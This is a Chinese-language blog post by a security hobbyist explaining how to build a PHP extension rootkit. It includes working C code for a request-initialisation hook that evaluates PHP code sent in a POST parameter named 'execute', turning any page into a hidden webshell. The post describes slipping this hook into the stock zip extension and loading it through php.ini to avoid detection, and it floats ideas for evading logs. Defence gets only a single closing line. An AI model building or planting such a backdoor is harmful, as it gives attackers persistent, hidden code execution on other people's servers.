垃圾桶

EL PSY CONGROO.

Lz1y's avatar Lz1y

PHP extension rootkit

PHP extension rootkit

杂想

也叫做PHP扩展后门,前几天看P师傅实现出来了arbitrary-php-extension.
其实很早就有这个想法了,断断续续去看了几个月的PHP内核,也有了实现基本功能的能力了,但是由于懒一直没有下手…直到看到P师傅的仓库才发现,糟糕撞思路了!赶忙抽了个周末晚上的空,花了几个小时去踩了这个坑.

目前大部分此类后门的实现效果都是做成跟诸如菜刀,antSword兼容的类脚本webshell.个人感觉是大材小用了,并且通过查询日志等信息,也容易被发现.我认为其实可以拓展一下,比如说在HTTP请求夹杂一些畸形请求,让日志无法匹配到header.这些还只是初步想法,等入门协议再尝试.

记录

PHP SAPI的生命周期

周期

整个流程很简单,在启动了CLI(SAPI)后,会调用一次所有模块的模块初始化函数(MINIT),然后当有请求的时候,调用一次所有模块的请求初始化函数(RINIT),然后执行PHP脚本,然后执行对应的销毁函数.

所以我们只要在请求初始化函数(RINIT)接受参数并且执行,就可以达到类似webshell的效果了.

PHP拓展开发

乌云之前也有PHP拓展后门相关的翻译文章.其实国外很早就有大牛已经实现了.

这是一个最简单的例子,是在PHP5上的拓展后门:
https://github.com/akamajoris/php-extension-backdoor/

由于PHP7函数变动,我们得自己重新实现一个兼容PHP7版本的RINIT函数.

PHP_RINIT_FUNCTION(ftp)
{
    char* method = "_POST";
    char* secret_string = "execute";

    #if PHP_MAJOR_VERSION < 7
        zval** arr;
        char* code;
        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) == SUCCESS) {
        HashTable* ht = Z_ARRVAL_P(*arr);
        zval** val;
        if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) == SUCCESS) {
            code =  Z_STRVAL_PP(val);
        }
        zend_eval_string(code, NULL, (char *)"" TSRMLS_CC);
        }
    #else
        zval* arr,*code =NULL;
        if (arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) {
            if (Z_TYPE_P(arr) == IS_ARRAY && (code = zend_hash_str_find(Z_ARRVAL_P(arr), secret_string, strlen(secret_string)))) {
                zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
            }
        }
    #endif
    return SUCCESS;
}

而国内也曾有过相关文章:
https://www.freebuf.com/articles/web/141911.html

文末,作者抛出一些思路

如果系统禁用了eval等函数,还需要通过在后门中加入模块初始化函数(PHP_MINIT_FUNCTION),动态修改php.ini以达到绕过disable_function的目的,另外,为了更好地隐藏自身,还需要在伪装性上下点功夫,比如利用同形异义字欺骗用户的眼睛,比如使得模块名不在php -m中显示等,当然这是后话,希望后续能有这样的文章出现。

思考了一下这个问题,我这里就不使用spoof这种思路了.我认为新开一个进程肯定没有注入进程性价比高.所以不如直接往一个PHP默认的拓展库中加点料.

在尝试了很久后发现,PHP source中的很多extension都没有办法直接一步到位的编译成动态链接库.最后手工fuzz了一下.

发现 ext/zip 这个拓展符合我的预期,可以直接编译成动态链接库十分方便.

直接修改php_zip.c中的代码:

这里我添加了一个PHP_RINIT_FUNCTION,也就是请求初始化函数.将其添加到zip_module_entry中.

最后分别用PHP5.6以及PHP7.2编译出动态链接库.

修改PHP.ini将zip.so添加.

效果

PHP5.6

PHP7.2

结束

最后思考了一下,觉得这个后门优缺点都有.首先肯定是相对于传统webshell,隐蔽性提高了不止一点半天,但是其原理最终还是进zend解析执行PHP代码,所以当面对未来可能流行的RASP技术的时候还是无力对抗,并且开发成本偏高,需要掌握语言的底层开发.不过目前为止的文章都是实现webshell形式,个人认为这其实是一种作茧自缚的行为.作为算得上是PHP rootkit的后门,应该身处更底层,而不是将维度放在应用层.

我们可以发散一下思维,亮神的文章中也提及了不少,这里就延伸了:
https://blog.csdn.net/micropoor/article/details/8783499

这种后门的防御手段也很简单,比较一下sha1就行了.